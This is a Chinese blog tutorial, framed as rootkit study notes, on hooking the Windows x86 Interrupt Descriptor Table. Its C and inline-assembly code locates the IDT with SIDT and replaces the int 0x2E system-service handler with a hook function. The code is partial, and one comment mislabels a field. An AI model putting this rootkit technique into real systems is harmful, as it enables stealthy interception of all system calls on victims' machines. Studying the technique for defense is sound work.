• RootKit学习之 IDT Hook


    0x00 前言  IDT(Interrupt Descriptor Table)中断描述符表,中断就是停下现在的活动,去完成新的任务。一个中断可以起源于软件或硬件。比如,出现页错误,调用IDT中的0x0E。或用户进程请求系统服务(SSDT)时,调用IDT中的0x2E。而系统服务的调用是经常的,这个中断就能触发。我们现在就想办法,先在系统中找到IDT,然后确定0x2E在IDT中的地址,最后用我们的函数地址去取代它,这样以来,用户的进程(可以特定设置)一调用系统服务,我们的hook函数即被激发。

    0x01 需要解决的问题

     1.IDT如何获取呢?SIDT指令可以办到,它可以在内存中找到IDT,返回一个IDTINFO结构的地址。这个结构中就含有IDT的高半地址和低半地址。为了方便把这两个半地址合在一起,我们可以用一个数据结构:IDTINFO,和宏的结构如下:
       typedef struct
       {
       WORD IDTLimit;
       WORD LowIDTbase;   //IDT的低半地址
       WORD HiIDTbase;     //IDT的高半地址
       } IDTINFO;


    方便获取地址存取的宏
       #define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))<< 16))


       2.IDT有最多256个入口,我们现在要的是其中的0x2E,这个中断号的入口地址如何获取呢?
        #pragma pack(1)
       typedef struct
       {
       WORD LowOffset;            //入口的低半地址
       WORD selector;
       BYTE unused_lo;
       unsigned char unused_hi:5;      // stored TYPE ?
       unsigned char DPL:2;
       unsigned char P:1;          // vector is present
       WORD HiOffset;           //入口地址的低半地址
       } IDTENTRY;
       #pragma pack()


       知道了这个入口结构,就相当于知道了每间房(可以把IDT看作是一排有256间房组成的线性结构)的长度,我们先获取所有的入口idt_entrys,那么第0x2E个房间的地址也就可以确定了,即idt_entrys[0x2E]。


       3.如果得到了0x2e的地址,如何用我们的hook地址改写原中断地址呢?

    见以下核心代码:
       DWORD KiRealSystemServiceISR_Ptr; // 真正的2E句柄,保存以便恢复hook
       #define NT_SYSTEM_SERVICE_INT 0x2e
       //我们的hook函数  

     int HookInterrupts()
       {
      
          IDTINFO idt_info;           //SIDT将返回的结构
      
          IDTENTRY* idt_entries;     //IDT的所有入口
      
          IDTENTRY* int2e_entry;     //我们目标的入口
      
          __asm{
      
             sidt idt_info;          //获取IDTINFO
      
          }
         //获取所有的入口
          idt_entries =
      
         (IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
    
    
       //保存真实的2e地址
          KiRealSystemServiceISR_Ptr =
                                     MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,
      
                idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);
      
       
       //获取0x2E的入口地址
          int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
      
          __asm{
      
            cli;                        // 屏蔽中断,防止被打扰
      
            lea eax,MyKiSystemService; // 获得我们hook函数的地址,保存在eax
      
            mov ebx, int2e_entry;       // 0x2E在IDT中的地址,ebx中分地高两个半地址
      
            mov [ebx],ax;               // 把我们hook函数的地半地址写入真是第半地址
      
          shr eax,16                  //eax右移16,得到高半地址
      
            mov [ebx+6],ax;            // 写入高半地址
      
          sti;                       //开中断
      
          }
      
          return 0;
      
       }
    
  • 相关阅读:
    ---Install Oracle Java 11 SE under Ubuntu
    ---个人英语单词收集!
    ---Android alarm使用
    ---FLAG_NO_CREATE 的用途!
    ---Englist Word Memo
    ---Ubuntu安装后要做的几件重要的事情 (适合Ubuntu机子的开发人员)
    ---Android egl/egls 概念
    --- Checking fs of the mounted partitions on Android device
    移动应用论坛——如何“玩赚”微信
    Android复制assets目录下的图片到内存
  • 原文地址:https://www.cnblogs.com/nsxz85/p/4825492.html
Copyright © 2020-2023  润新知